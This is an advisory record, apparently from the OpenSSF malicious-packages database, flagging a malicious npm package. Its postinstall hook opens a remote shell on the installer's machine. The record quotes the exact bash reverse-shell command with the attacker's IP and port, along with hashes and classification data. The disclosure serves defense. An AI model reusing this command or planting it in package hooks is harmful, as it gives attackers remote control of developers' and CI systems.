-= Per source details. Do not edit below this line.=-
This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.
The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.
It is considered malicious because:
{
"malicious-packages-origins": [
{
"import_time": "2026-05-13T21:58:23.154926665Z",
"modified_time": "2026-05-13T13:08:38Z",
"sha256": "0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db",
"source": "ossf-package-analysis",
"versions": [
"1.0.11"
]
},
{
"id": "IN-MAL-2026-002759",
"import_time": "2026-05-15T07:37:19.280980693Z",
"modified_time": "2026-05-14T19:25:49Z",
"sha256": "d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89",
"source": "amazon-inspector",
"versions": [
"1.0.4"
]
}
]
}[
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
]
{
"evidence_files": [
{
"path": "index.js",
"sha256": "5ee235e3056492d060dbdb038afd6c219e51f92d8328e15affae127f3f363c6e",
"tlsh": "d3e0ab722a752336683004606e1300b3e743f205a330f752f9fe872a2e90c84c825eec"
}
],
"package_integrity": [
{
"filename": "hello-world-pkg-value-value-p-1.0.4.tgz",
"hashes": {
"sha1": "ff0d0ef532557d79d9200b22b15db38c2eb03d76",
"sha512_sri": "sha512-hTDe3h33rIsomPiwHzu8MuDZqx+gP5x8czB76QPwIRGDdv+lo5lsCqWBKL9UQoUx9YneK2xWFceWCadhgKmeOQ=="
}
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hello-world-pkg-value-value-p/MAL-2026-3714.json"